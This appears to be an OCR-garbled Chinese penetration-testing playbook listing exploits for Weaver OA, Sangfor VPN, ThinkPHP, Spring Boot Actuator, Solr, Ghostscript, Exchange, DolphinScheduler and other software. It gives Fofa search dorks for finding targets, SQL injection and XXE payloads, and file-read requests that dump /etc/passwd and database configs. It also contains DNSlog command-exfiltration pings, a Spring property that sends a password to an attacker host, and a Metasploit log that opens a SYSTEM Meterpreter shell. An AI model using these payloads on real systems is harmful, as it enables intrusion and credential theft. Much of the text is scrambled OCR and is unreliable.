/mobile/plugin/SyncUserInfo jsp X MBEBEREN, ERFIRBLAFHOITRS, REENER, XEAI SR
7. M5
1EXNRENT ZBIAENL I RIEEN BERS, BRRATIXENAMSR T
22BN T RIEBIE RIS IERES, FIRTAAN T RE, iEAFRE T
3 XETLIGSRRERZHME MTIBERUER S iKEBidxssMaxLength=50089AHEFHAH AL 21a, EELIERE
xssMaxLength=1000000,FFLABE{E{RIETE %0a%0d iR R HEEB AT LAGET i ENIG

A ZMEREREERATEER, (EREULUBANN. EXLZHOA ESTFE2MRANIEURER, — M 2mssql, — N Eoracle, B¥f|RMRANZHAY
sqIEIETTEHA—EAT LUK EfIEH — MEXE BREIFE(FEAEpythonfy" "*800 8001=1E)



"-1) "+" "*800+ "union select/**/1, Null, Null, Null, Null, Null, Null, Null from Hrmresourcemanager where loginid=('sysadmin'"
ERRARETLEREFEEIN /**/ kST sqiteil
FRATTLUBIFIIA KR ETHE /M TREET sqli&MImssql, oracleEBBEHrmresourcemanager , XEEERERE

FHrmresourcezH8HE A, Hrmresourcemanager R th—ESTFEsysadminlikF, FrlAi#{Tunion selectiRHE—ESLBEIRE, X
BaTLAER "-1) "+" "*800+ " or/**/ 1=1 and id<(5", XE{EF <5 AJLIERESBEE5%, ERSREAFEEHHEE, FENER.

8. pFTaiE

1. R EIZ AT

2RI AEANEI AR

3. fFERwaff2E

+=. FERVPNIZZBINGT

1. EE,

RMEIR VPN B EF i EigasiiT, 2019 IpmEsEmRT
. SNAZE L

HMER VPN

3. imRfEX

Set-Cookie: TWFID=welcome to ssl vpn Sinfor

4. Fofa Dork

header="Set-Cookie: TWFID="

5. RS

RSRvpnwebEFFEZS
https://www.cnblogs.com/potatsoSec/p/12326356.html

6. imEFIA

wget -t %d -T %d --spider %s

7. RIS

TIZhRARIEIRVPNETHEXT RHARIMA, KH20085F A4, (EERIEE761 NpFHELN
2ZHRANBYE, whomai AR FFTE, ATLAERS uname, IXEIREZSIERIdnsiE sk

3 K= cat /etc/passwd | tr " \n" "+|"

8. fotFAiE

1 RN T

2 FHRBISHhR

+=. #SR VPN OSRE

1. TEiRET

SRR VPN S OMIRRESIRERMEIPAD T, FIAXBIEREAERNT, TERWXERNSASURSMRERERERT
- INBHREAR VPN

3. imiRfEX

/por/login_auth.csp?apiversion=1sangfor/cgi-bin/login.cgi?rnd=

4. Fofa Dork

app="®=hR-SSL-VPN"

5. BRSO

KTFSSL VPNIAIERSAISGIERDSET — SSL VPN/EMM — SR (EMRE X
https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=20633

LE4bFRE, EERRLR AN
6. miEFFA



1TREIRVPN O<SIRH demo (IXE{H T M6, HttAINIZEAR %)
#encoding=utf8
import requests
import hashlib
import urllib3
urllib3.disable_warnings()
import re
session = requests.session()
def SanForLogin(target, password, username="admin"):
# INEZLHEXR shal(password +sid)
# IRELFPOCHAE T
SanForLogin("https://xxxxxxxxxxx/", "admin")
7. MRS
1 ATRERERARAEEREIAHLE, REMS T, BRDHIHESARS
EJMAPTALRNLZ IR 7 —IK, INZRIERSHEHE shal(password+sid)
B —=ip, REZ-UBEHTS T, 550<SEHARALadmin/123456/Sangfor/Sangfor@123
AMPIBHE 7 EERER, EEREERFSLHSEN WA RTE, XEFHERMIZEIEREIE

3. EFEEEERIGSqIEN, BRIGEIRNT, FLIFME, MlikDHT, E—TS= ERERIE. RERSSLVPNIMEREH OSRME SR
&SQLENRRETSH getshell
https://www.uedbox.com/post/31092/

8. P&

1 RBSEHANT

2 FHREIRHThR

+=. ERBFRF=m(EHAIE, WX, EEHEE, VPN) 850O0$FR
1. mREN

ABEPWFFETEE—LHFRIRESRYEP R SNBSS, XBHEET FENER, BT8R mREEUBOSAE
2. FImBEH

ook, WK, BEHRE, VPN

3. IR

BookiE, WK, BRERES, VPN

4. Fofa DorkBki, WX, B&HES, VPN BU=7FR

5. RiEFIF

[R2i8E] EIMEZLRRKAOS
https://www.it2021.com/security/614.html

BEUNZ & A KEERIP, IATE. BT
https://mp.weixin.qgg.com/s/OLf7QDI6qcsy2FOqCQRicA

7. FIFARIS

ENRAEF 2 ATBENAL S, SIERRSHEECIFEIEN<S, admin root 123456 JXixHs
MR ZE a2 NRRISE

8. FPiE

1.igERAS

2 BREVSEIRIP

1M, Thinkphp t8XiEiR

1. BREN



https://mp.weixin.qq.com/s?__biz=MzAwMjA5OTY5Ng==&mid=2247484399&idx=1&sn=eaba60ade227f6a26ee194dfecfac1ff&scene=21#wechat_redirect

Thinkphp RERRERAIPHPHES, 71 IEENBHIUT/sqiE N/ RFFIL/ BG4 E SRR

- LA
Thinkphp

3. IRiEHEX

Thinkphp X-Powered-By: ThinkPHP
4. Fofa Dork

app="ThinkPHP"

5. RS

ThinkPHPiBREE - BraitX
http://zone.secevery.com/article/1165

ISYERSRE ThinkPHP AR FRB I FB%E
https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6 %A% 7 %EE%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F %8D%E
5%BA%8F%E5%88%97 %E5%88%A9%E7%94%A8%E9%93%BE/

ThinkPHP{EFR ] SEIE R EVRHE St R :
https://blog.csdn.net/Fly_hps/article/details/81201904

DSMallf{ageit:
https://www.anquanke.com/post/id/203461

6. miEFFA

SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x IR ABHTImE-POCES
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

Dido1960/thinkphp: thinkphpFFItiRREIM N POCHRS
https://github.com/Dido1960/thinkphp

whirlwind110/tphack: Thinkphp3/5 Log3Z{itttRRIFETE
https://github.com/whirlwind110/tphack

7. FIFRIS

18R ThinkphpUitRE— TR, BREEEI—T, EEHI%Arce, B ASHE

2. BMIE T thinphpRIR 5 FSELUS, IXRBIEREZ B HIGTECtH

3. LA ERIBRETLFIBIER ESFTEERE, MFERiHr S EPERE T X NEE

DSMallf{f3eHit - 2%, REeRNFE
https://www.anquanke.com/post/id/203461

8. P&

1. RBSEFANT

2 FHEBIEFAR Thinkphp
3. BIBWAFH{ TR

+3H. Spring Z5iFiRE
1. BREE

Spring £java web ERRREHMNAN T, BRBEMFTAIN D, 1FRIRREEERSpring Boot Actuators REFFIY, XiERZHIRT—
TEF, SERARE

2. FImB M
Spring xxx

3. ImRfEL
X-Application-Context:

4. Fofa Dork
app="Spring-Framework"

5. RS



Spring {ESRBIRES
https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9IE %B6%E6%BC%8F%E6%B4%IE%EI%IB%B6%ES%90%88/

Exploiting Spring Boot Actuators | Veracode blog
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

Spring Boot ActuatorsEeEAHSHRCERIFEM :
https://jianfensec.com/%E6%BC%8F%E6%B4%9E%ES5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD
%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%BARCE%E6%BC%8F%E6%BA%IE%ES%A4%8D%E7 %8E%BO/

6. ImimFFA

mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE
https://github.com/mpgn/Spring-Boot-Actuator-Exploit

artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads
https://github.com/artsploit/yaml-payload

7. MRS

1.Spring Boot Actuators HEXIRIRIBHRITA, RS M—ITaERE EREIIMTISpring Boot Actuators, &R T E—RATEEMAET
Spring BoothY] AEBH TIARE, HEEIERE BERMIRSER, BIMXHTIED &, —LFBREFENIN—Spring Boot/=3]
RS, AEFERLI http://123.123.123.123/admin/env , http://123.123.123.123/manager/envtEEBERT LAHEIAY/env ATLUE
session, RCE/heapdump aTLAEEdump jvmehfI33s:, R jhat ATLUEERE ARSI LURH I Fidendpoint, 1.x 2 xBIERA—HE,
LEpE=E T —T

/trace

/health

/loggers

/metrics

/autoconfig

/heapdump

/threaddump

/env

/info

/dump

/configprops

/mappings

/auditevents

/beans

/jolokia

/cloudfoundryapplication

/hystrix.stream

/actuator

/actuator/auditevents

/actuator/beans

/actuator/health

/actuator/conditions

/actuator/configprops

/actuator/env

/actuator/info

/actuator/loggers

/actuator/heapdump

/actuator/threaddump



/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
/monitor
/monitor/auditevents
/monitor/beans
/monitor/health
/monitor/conditions
/monitor/configprops
/monitor/env
/monitor/info
/monitor/loggers
/monitor/heapdump
/monitor/threaddump
/monitor/metrics
/monitor/scheduledtasks
/monitor/httptrace
/monitor/mappings
/monitor/jolokia
/monitor/hystrix.stream

IXE@IT /env + /refresh i##{TrceRZIAEEMFIFATE, Hspring boot reloadfRHESHHT —LLBNARIE, BEEMAERIEDE, RI&
fastjsonz =51{L.

2 BLESLIEARERCE, XEHAMIISAILUEE Spring BEESAHAIINETER, M— T IMRRIED/ key ok
eureka.client.serviceUrl.defaultZone=http://${somedb.pasword}@127.0.0.1:5000
spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml

3. JUELEERspring eurekaffEEEF AR, BEER—EIRSEE, MO LUESTE MR bserver, NTIBERENMYIRS SR eureka B
2 server B2 client, Bt HIERTAEBERREESFFIMXmIFAT LA T

8. piFTsiE

1 RBSEHHNT

2 FFfESpring Boot ActuatorstW Rk
3. BIEWAFHITHR

+75. Solr Z3UiER

1. EE,

Solr RIEWERNNEERRS, XNFHREREZERE,
2. B

Solr

3. IRiEHEX

Solr

4. Fofa Dork

app="Solr"

5. RS



Apache Solr&#TRCERADHT - FreeBUfBEAMZEFIIATES
https://www.freebuf.com/vuls/218730.html

Apache Solr DatalmportHandler 2B HITIRIR(CVE-2019-0193) ofr
https://paper.seebug.org/1009/

6. miRF A

veracode-research/solr-injection: Apache Solr Injection Research
https://github.com/veracode-research/solr-injection

jas502n/CVE-2019-12409: Apache Solr RCE (ENABLE_REMOTE_JMX_OPTS=" true” )
https://github.com/jas502n/CVE-2019-12409

mogwailabs/mjet: MOGWAI LABS JMX exploitation toolkit
https://github.com/mogwailabs/mjet

7. RIS

1 E82EMTET, WAXEZT, —F—R1

21BFmjetiERHER, X2 BiriRGSEIRE T iERAIstub (AR, EIlFdocker), AILAERsocatf#TRER R, FICEEBEMMNEE
8. pEFTiE

1 FHREISRFTHR

2 AREXSHMF IR

++t. Ghostscript L{EE R SIBHT

1. imREN

Ghostscript 2EGAES+2FERRIE ERfEimagemagickESMHRAM T, B psHFE ST SECIBHTRIRRERN Z,
HT HEERMETEAEHIT, REXT A

2. F B s

imagemagick, libmagick, graphicsmagick, gimp, python-matplotlib, texlive-core, texmacs, latex2html, latex2rtf ZEE(&AMER
3. IRiAE

-ps/jpg/.png

4. Fofa Dork

5. RS

ghostscript@SHITIRIAITE
https://www.anquanke.com/post/id/157513

6. iRiEFI A

Exploit Database Search
https://www.exploit-db.com/search?q=Ghostscript

vulhub/ghostscript/CVE-2019-6116 at master - vulhub/vulhub
https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116

7. FIFRIS

TIMRERWNuEAT LA LGB, BERIREEIHEE, REREMERE, XERAsefFEGhostscript LEE RHEEHITdnslog BTLAFA ping
‘uname’.admin.ceye.io g ping ‘whoami'.admin.ceye.ioffFRHE R, LUSHEFRSE BMREARY centos 1 ubuntu poc®A—#E, BILA
XHEHEIEping “'whoami'.centos.admin.ceye.io / ping ‘whoami'.ubuntu.admin.ceye.iof3 5549 centos_ps.jpg/ubuntu_ps.jpg, X
MHARHRE RS2 344, BIIDNSLOGRILAK 73 21 pocthiThHY

8. BoiF73i%

1 FREIRHHR

+\. ZHEHFER

1THLRAAEIA. . . RIZBUEEL. EiZERexpHoK

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd &fileExt=txt

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt

2 (FEIEEinuxipasswdi{l



http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt

AIENE N EH)SONFEEIDRY32(E
BIRIEKATIR1S/etc/passwdfE
http://www.xxx.com/FileNolLogin/32{\/MD5{&

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd &fileExt=txt

« C A F \jsapi/sav |=file///etc/passwodfileExt
["isencrypt”: 0, “filepath” file\/202009\/LG\/2 ", “updatetine’

12°, “1sdelete”: 0, "download” ntenttype : ", "extension . (Xt , 1u

12°, "updaterid”: "0", "filesize" 1944, “creatorid” 0", "name”: " 2%

GET/wxjsapi/saveYZJFile?fileName=test&downloadt
file:///etc/passwd&fileExt=txt HTTP/1.1

User-Agent: curl/7.29.0

Host: Xxxxx

Accept: */*

'Raw Params | Headers 'Hex
| |

27 {1 letane

sthdownloadUel=file:// /¢

Ve

ONID=AZ1598

1032AFF3D9936; Path=/; BttpOnly

Pragma: no-cache
Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application)json;charsetsUTF-8
Dat Sat, 12 Bep 2020 05:46:356 GMT

Content-Length: 368

2020"3 W

Wuseh "r\bl idge\/Eile)/
0, ::lc\-unload 0, P c'\te'tt)pc
t 020—0'} s "updaterid”:
Sac3215aa%4l.txt" ,"enctype”:0}

f4cB3r2](an9c:43c'cb03] mc}zl,dﬂ%. l:.xt .

GET /file/fileNoLogin/ec20f1880c794c3ebc4dOfff313¢7e5eHT
TR/1.1

User-Agent: curl/7.29.0

Host: xxxxx

Accept: */*

[la« T Headers | Hex |
7 sc20f L880c 1940 ebodd0fE £ 10 ebe HTTR/L. 1 &

3 ,

esponse
[wmrs IHex [Render ]

HTTF/1.1 200 OK

Server: hpachn Loymea 1.1

Cache-Control: ¢, max-age=86400
X-Frame- E: ORIGIN

Set-Cookie: EBRIDGE JSESSIONID=312E7C42D4

e

COAGD42545EDAF; Path=/; HttpOnly

tion: inline; filename="4eB80c216£09c40ech0315ac3215aa94].tx
ype: text/plain
—:L.r:nri h: 1944
Date: Sat, 12 Sep 2020 05:47:20 GMT

/sbin/nologin
bin/nologin
ologin
ogin
bin/nelogin

login

uuecpt fvar/spool fuucp
perator:/root:
fu mr-’qrww

fsbin/nologin
ry owner:/dev:/sbin/nologin
feache/rpebind: /abin/nologin
/nologin
fvar/lib/nfs:/sbin/nolog
P r/lib/nfs: /s

in/nalogin
gin
var/empty/saslauth:/sbin/nologin

o]..’pos'ux febin/nologin
ge-se arated SSH:/var/empty/sshd:/sbin/nologin

used by OProfile:/home/oprofile:/sbin/nologin

bacm\p x:503
test0]l 1x:504
5

J/home/oracle: /bin/bash
home/ecolegy: /bin/bash



http://www.xxx.com/FileNoLogin/32
http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt

3 AEEIEEwinodws FEIwin.ini{&

REBUERHEE, /wxjsapi/saveYZIFilelZM3RER filepath, IR [IEHE G A HI T EFRVAIT B IEE T IABSRE AT REIEFE T
BENM T HEIERRE R ET W,

1.download UrlS4UE SRR ZRBU A AYAERI IR 2, ICRIR IR PATId(E.

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt

a- -
Request Response
Raw | Params THeader! ] Hex W Raw | Headers THen TJBON Beautifier |
pretty JRERE \n  Actions v {CWR Raw Fender \n Actions v

1 GET /wxjsapi/saveYZIFile?fileName=test&downloadUrl= iy 21Frass To-came

i : . P 6 Cache-Control: no-cache
file:///c://windows/win,ini&FfileExt=txt HTTP/1.1 g
- 7 Expires: Thu, 01 Jan 1970 20:00:00 GMT
2 Host: Ll by ote 3% oMl .

2 8 Content-Type: application/json;charset=UTF-8
" 9 Date: Sat, 12 Sep 2020 98:28:43 GMT

10 Content-Length: 363

11

12 {

"updaterid”:"0",

"createtime":"2020-89-12",

"isencrypt”:@,

"extension”: "txt",

"id": " 7c3bd 2017476d9103dfd6@3ceBlcc”,

"Filepath" : "D:\\ebridge\\file\\202089\\YT\\eaedcedf fddadcad93796431992e111
"filesize":
“creatorid"
"updatetim
"enctype”:@,

"Anma" : "anodrelf FAdndrn0A37ARA100761117 Fut”

’
2020-89-12",

2 BEEFHHEOIR /file/fileNoLogin/id

ece M < 0 B FRE — U1 Q= LM fileffileNoLoginfec21f2dag1z ¢ HE @ M + 0O &

database start

¢ ERNBIERAL, Rifdb. cypeil, THHNERENHBIERSESEN N
db.type = mysgl

#db.type = postgresqgl

#db.type = oracle

# {Efipostgresql BURE

postgresql .driverClass = org.postgresqgl.Driver
postgresql.jdbeuUrl = jdbe\:postgresql\://127.0.0.1\:5432/ewechat
postgresql.userName = <= « ==

postgresqgl.passWord = B'E9I!

# {Efmysql BiBE

mysql.jdbcUrl = jdbc\:mysql\://127.0.0.1\:4706/ewechat?characterEncoding\=UTF-
Bosd o' londivd mel Bam ‘wme bn lm o Bimalobas "la® olmalld oo n" o smem | o

mysql.userName = ®*21

mysql.passWord = Bmam i

# {EforacleBiER

oracle.driverClass = oracle.jdbc.driver.OracleDriver
oracle.jdbcUrl = jdbc:oracle:thin:€127.0.0.1:1521:0rcl
oracle.userName = " =

oracle.passWord = (I}

¢ ISR A), B ERERE, RAGERERM
db.initialsize = 50

db.minIdle = 50

db.maxActive = 100

3HEMRABRIS (ERERERIH)

B ERIRRERIZ MO & NS ERR- > EBO A S R TE T — TSR RIIXEREEBS 4B R,
SYNESENEESHNANSRELRNER LT FEE "BREH"
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/&fileExt=txt


http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt

)
T eoe M < 0 W B M WileffileNoLogin/302e571fd6c5458786dc 186 e O

SRECYCLE.BIN

databackup

ebridge

OA

System Volume Information
WEAVER

RRE
RRXG

o

D e

[P TR ]

B RIER + X HZEL AR ERARS 7 LSS R R SEE TSI, $BFEREXMH. ngin(EEE. HAHE. D&
METE:

d://ebridge//tomcat//webapps//ROOT//WEB-INF//classes//init.properties
d:/OA/tomcat8/webapps/OAMS/WEB-INF/classes/dbconfig.properties ;Z{OAEIERE

« cC O A TS | "8 12 d ) Tile/fileNoLogine o™ " D id ™0 B, ma 1 e ™

#EEER 1

#url:jdbc:mysql://3s L0, 2, ., 6B8:3306/m. —wseUnicode=truescharacterEncoding=utf8&characterSetResults=utf8
url:jdbc:mysqgl://k" +™§ B :3306/ = sl an'’idcode=struekcharacterEncoding=utfBicharacterSetResults=utfBaserverTim

#url:jdbeimysgl://1 « % oo 4a74:3306/'Zmr gMselUnicode=trueicharacterEncoding=utf8icharacterSetResults=utf8
driverClassName:com.mysql.jdbe.Driver
username: s m v « b

password: FER AP

filters:stat

maxActive:20

initialSize:l

maxWait:60000

minIdle:10

maxIdle:15
timeBetweenEvictionRunsMillis: 60000
minEvictableIdleTimeMillis:300000
validationQuery:SELECT "x'
testWhileIdle:true

testOnBorrow:false

testOnReturn:false
maxOpenPreparedStatements: 20
removeAbandoned: true
removeAbandonedTimeout: 1800
logAbandoned: true

AlESEN

KARERRREE /file/fileNoLogin

+h. MimiEwebVPN RCERiR

1imiEfnA

WebVPNEiRHEFweblIPIME FAGERER], AIFHERAFHERNAMFFRIIwebAE, SEISEIVPN (RRIEAM) 1Thee. 1EH
KEmiARIwebVPN#IRHFERCEATRIR.

fEERIY
BINEEMNEHRITRA

—+. Apache DolphinSchedulerZfEi®iA (CVE-2020-11974, CVE-2020-13922)
1. iR



ApacheBHESLRMERENE, 185 T Apache DolphinSchedulertfRE = RiE (CVE-2020-13922) SApache DolphinScheduler
TEHITRIGRERE (CVE-2020-11974) ,

CVE-2020-119745mysql connectorjimf2HUTRISIRIREX, EEEmMysqUENEURRR, MEERIEDjdbc connectB4HIA
{ "detectCustomCollations” :true, " autoDeserialize” :true} fEDolphinScheduler fR$388 HimiEHITAS.

CVE-2020-139225& & BB rli@iTapi interfaceftDolphinScheduler RAHBEEMEFRIZES: api interface
/dolphinscheduler/users/update, BB RIEFHITIHF.

2 EEE

Apache DolphinScheduleri{fREz= /A (CVE-2020-13922)

3. ZEMAhRAS

Apache DolphinScheduler = 1.2.0, 1.2.1, 1.3.1

ARZENARA

Apache DolphinScheduler >=1.3.2

Apache DolphinSchedulerzf2H{TEERIE (CVE-2020-11974)
5.%FPOC:

POST /dolphinscheduler/users/update

id=1&userName=admin&userPassword=Passwordl!&tenantId=1&email=sdluser%40sdluser.sdluser&phone=

| Send
Request Response
Jllaw T Params THeaders THex ] j RawTHcaders THex TISON}JS Beautifiel
POST /dolphinscheduler/users/update HTTPF A
Host: | [ r
(Maci ] 1 5)
( iL, 1li cko) Chrom (
Pr =Wh - - YW= 1
I i DRl
2.9, 21,213 5 wdd /dolphinsched:
P, fla ; ":"RRIA", "da
1 ;| 1 n 1
nld 1a
userName m &userPasswor --L‘-." nantId=3sema m&
jueu 1

PR : 75 B8 SRR, SR — LRI T
PRI AFLE T B U 0o A BRIV T J db e 7 12 2 4, AT 9 BLIDBCRS i 5 15 514 o
1. BRAER -> RO,

~—» - DolphinScheduler

HER
AT

wE NEREE FiiRes Lopor =L il #F L]



2. jdbcEES R T A, X BB G ER SR N E B S

BURREIEIR

*FUER = mysaL POSTGRESQL HIVE/IMPALA SPARK CLICKHOUSE ORACLE SQLSERVER
DB2

* HIESRER S BIERER

WA e JER

*IPEHR  SAIPENS
*#®wO 3306
*HAPE  EARPS
B8 A ES

* MBS AMAMIEES

3. K LUF B INEJdb RS b, BT UE A -

POST /dolphinscheduler/datasources/connect HTTP/1.1

Host: Ld.:€ al 144" Hd

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 199

Origin: http://Ld. o 21 &1 dadad

Connection: close

Referer: http:// i ‘A I | mbald /dolphinscheduler/ui/

Cookie: sessionld=f7f57f83-c9ba-4c33-8e13-56a74ddc458d; language=zh_CN; sessionld=
f7f57f83-c9ba-4c33-8el3-56a74ddc458d

type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test&principal=&userName=root&
password=root&connectType=&other={"detectCustomCollations":true, "autoDeserialize":true}

POST /dolphinscheduler/datasources/connect HTTP/1.1

type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test&
principal=&userName=root&password=root&connectType=&
other={"detectCustomCollations":true,"autoDeserialize":true}

K TMySQL IDBCH S i S T H AL Il (R AH 96 2 5%«

https://www.anquanke.com/post/id/203086

5855I
BAFR
BRIEACESFRAHMES THURANRER, B2 RIEP RIRFHRRAE.3.21T05F, 575 T s

https://dolphinscheduler.apache.org/zhcn/docs/release/download.html




—+—. =iEmEtRphpMyadminkiZHisIE

SEiE: https://mp.weixin.qq.com/s/3ZjwFo5gWIJACSkeYWQLXA

AIERE BE AR AR BRI SR B YA T RSB AR RN TR ER U T R AR 2 ERERIRA.
- LinuxIEzUhR7.4.2

- Linuxiithiz7.5.13

- WindowsIE=(hz6.8

1. =EEAphpMyadminit 52888 X MNERHFEATURERS 172.10.0.121:888/pma

2, MREERFARETRAIRA BHEEELIphpMyadminEHRITE.

Eigm O]
TAERKANIEOE6/, 18888, 888, 80, 443, 20f121 S,

« 8888IxM: RAEKREEERIKO;
« 888ik: phpMyAdminim;

—+=. CVE-2020-16875: Exchange Server iZi2{{iBHiTiER

EF & :https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875
R EHAVRIAE, RFEE— M ExchangeFAFIKS. HiBEEExchangelRS5Es EHUTIER® L.
https://srcincite.io/pocs/cve-2020-16875.py.txt
https://srcincite.io/pocs/cve-2020-16875.ps1.txt

researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint

researcher@incite:~$ ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
(+) logged in as harrym@exchangedemo.com
(+) found the _ viewstate: /WEPDwUILTg5MDAzMDFkZFAeyPS7/eBJAIPNRNPBjm8QiWLWnirQ1vsGlISyjVxa5

(+) triggered rce as SYSTEM!

Microsoft Exchangeimf2XA3#117(CVE-2020-16875):

Microsoft ExchangefRS3 837 E—MERHITABIRRE. IR BLRRNREETAERFRFN LT RETEENE. MRLERRER
Zim R NahRA:

microsoft:exchange_server 2016: cu16/cu17

microsoft:exchange _server 2019: cu5/cu6

MSFRIFE (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb

msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run

[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)

['] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/



[*] Logging in to OWA with creds Administrator:PasswOrd!

[+] Successfully logged in to OWA

[*] Retrieving ViewState from DLP policy creation page

[+] Successfully retrieved ViewState

[*] Creating custom DLP policy from malicious template

[*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data

[*] Powershell command length: 2372

[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ...

[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo

Computer : WIN-365Q2VJJS17

oS : Windows 2016+ (10.0 Build 14393).
Architecture : x64

System Language : en_US

Domain : GIBSON

Logged On Users : 8

Meterpreter : x64/windows

meterpreter >

—+=. PhpStudy nginxfFtrifEiFE

INREMR <= 8.1.0.7, EEXNFRIFEAZphpstudyfIaEE, mZ2017F s HIMEInginx @ iTiEiR.

1. FRFHRARATELphp TR L& (ossAE) FIARSSER.
<?php phpinfo();?>
2, B /xtxt/x.php FCi518)_LAEHIE i, ! ST 7 phpfUs.

eoe ] < > L )] 192.168.253.2/1.txt/1.php

System Windows NT DESKTOP-KDOAAST 10.0 build 19041 (Windows 10) AMD64

Build Date Apr 2 2018 21:50:57

Compiler MSVC15 (Visual C++ 2017)

Architecture x64

Configure Command cscript /nologo configure.js "--enable-snapshot-build” *--enable-debug-pack” "—disable-z1s" "--with-pdo-oci=c:\php-
snap-build\deps_aux\oracle\xB4\instaniclient_12_1\sdk shared" "--with-0ci8-12c=c\php-snap-
build\deps_ 12_1\sdk shared" "—anable-object-out-dir=. Jobj/” "--enable-com-
dotnet: d" "-without “—-with-pgo”

Server API CGI/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path C:AWindows

Loaded Configuration File Ciphpstudy_pro\Ex \php\php7.3.

Scan this dir for additional .ini files {none)

Additional .ini files parsed (none)

PHP AP 201AN731




—+M. Apache Cocoon XMLjEA [CVE-2020-11991]
SEi&:http://mail-archives.apache.org/mod_mbox/cocoon-users/202009.mbox/author

TER(ER T StreamGeneratonX N3 ERT BT MINERIBE KA mIER QAR EHERAIRE] HE R M LSRR mIZRIAT (RS 2517
IAZIXMUENRI R 2R,

1. iRRFIB&MERYZapacheCocoon B T StreamGenerator, 1R 5 A & MATSERRAFT H T LSS T .
2, FAPOC:

<l--?xml version="1.0" ?-->

<IDOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>

<userinfo>

<firstName>John</firstName>

<lastName>&ent;</lastName>

</userinfo>

m Params | Headers | Hex | | Raw | Headers | Hex |
Gl Raw  \n Actions v AL Raw Render \n Actions v
POST /vZ/api/product/manger/getInfo HTTP/1.1 L MY a"a e
Host: " ad -IpM wid b o* som. Wbk Taiee darwibad=;
Content-Length: 173 mime Loy "
content-type: text/uml | Lo TR AT I PO LR o
User-Agent: Mozilla/5.8 (Linux; Android 5.1.1; VOG-AL1® Build/HUANEIVOG-AL19; wv) AppleNebKit/537.36 (KH} o e @ e gyl BT PG ST I
& Dote: Sun, 13 Sep 2020 10:08:31 GMT
<!--Txml versions"1.@8" ?--> <|DOCTYPE reploce [<!ENTITY ent SYSTEM
"file:///etc/passwd™> J> < rInfo» E root:x:0:@:root:/root:/bin/bash
«<f tNames bin:x:1:1:bin:/bin:/sbin/nologin
Jakhn 10 doemon;x:2:2:daemon: /sbin:/sbin/nologin
ff 11 adm:x:3:4:0dm:/var/ads: /sbin/nologin
1Z 1lp:x:4:7:1p:/var/spool/1lpd:/sbin/nologin
i 13 sync:x:5:@:sync:/sbin:/bin/sync
&ent; 14 shutdown:x:6:0:shutdomn:/sbin: /sbin/shutdown
</lasthame> 15 halt:x:7:@8:halt:/sbin:/sbin/halt
16 moil:x:8:12:mail:/var/spool/mail:/sbin/nologin
<f operator:x:11:@:operator: /root: /sbin/nologin
& 1E games:x:12:100:games:/usr/games:/sbin/nologin
¥ 19 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
2l J > .ﬁ

—+3A. Horde Groupware Webmail Edition iZi2m$HhiT

iR https://srcincite.io/pocs/zdi-20-1051.py.txt
#!/usr/bin/env python3

non

Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability

Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ... mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33

Summary:

